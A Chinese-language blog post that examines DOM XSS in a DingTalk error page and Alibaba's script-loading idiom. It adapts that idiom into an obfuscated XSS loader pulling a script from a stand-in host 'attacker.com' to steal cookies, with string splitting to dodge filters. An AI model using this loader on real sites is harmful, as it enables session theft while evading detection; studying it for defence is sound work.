通過釘釘網頁上的js學習xss打cookie

飄渺紅塵✨發表於2021-05-04

  做完了一個專案,然後沒啥事做,無意看到了一個釘釘的外部連結:

  題外話1:

    檢視原始碼,複製其中的程式碼:

try {
        var search = location.search;
        if (search && search.length > 1 && search.charAt(0) === '?') {
            search = search.substr(1);
            var pairs = search.split('&');
            var kv = {};
            for (var i in pairs) {
                var parts = pairs[i].split('=');
                if (parts && parts.length > 1) {
                    kv[parts[0]] = parts[1];
                }
            }
        }
        var errcode = kv['errcode'];
        var errmsg = kv['errmsg'];
        if (errcode) {
            var divCode = document.getElementById('code');
            if (divCode) {
                divCode.innerHTML += ('errcode: ' + errcode);
            }
        }
        if (errmsg) {
            var divMsg = document.getElementById('msg');
            if (divMsg) {
                divMsg.innerHTML += ('errmsg: ' + errmsg);
            }
        }
    }
    catch (e) {console.log(e);}

 

  關鍵部分是:

    

 

 

  寫入errcode和errmsg到divCode和divMsg中。

  其中errcode和errmsg都是我們可控的。

  開啟console簡單測試下:

    不懂沒關係直接做:

      

 

   

 

 

 

說明我們外部可控,導致這個原因是因為遍歷的是location.search

  本地搓個demo:    

 

 

只要errcode和errmsg為xss程式碼,即可觸發xss攻擊。很可惜這裡。。最後做了處理。

 

    正題:載入第三方js程式碼:

    重新整理釘釘頁面:

    

 

 發現載入了一些js連結依賴:

    檢視原始碼,看看他怎麼呼叫的:

    

<body><script>
with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACQE5FgnOSuMgAAAABIYPwz9qqvRg==",id="tb-beacon-aplus",src="//g.alicdn.com/alilog/mlog/aplus_"+(navigator.userAgent.match(/iPhone|iPad|iPod|Android|AliApp|Yunos|cyclone/i)?"wap":"v2")+".js")
</script>
<script>
    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAABZTjBWUtd7PwAAAADFkiVZ/vYnWw==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")
</script>
<script>
    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACwfC9W2oJjYAAAAABOnkqCwpd6EA==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")
</script>

  相當有意思,不同於以前的,以前我們xss打cookie/外部載入js都是是這樣的:

    

<script src="http://attacker.com/xss.js"></script>

  通過阿里載入js的方式,我們可以改造我們的載入方式如下:

      

<script type="text/javascript">
    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute(src=("http://attac")+"ker.com/xs"+"s.js")
</script>

 

我們訪問網頁:

    

 

 

直接載入了,檢視我們是否接收到:

    

 

 

  成功接收成功。

  這個cookie竊取已經不是啥騷姿勢了,只是這次通過阿里正常載入js地址,學習包裝型的cookie獲取。

      

相關文章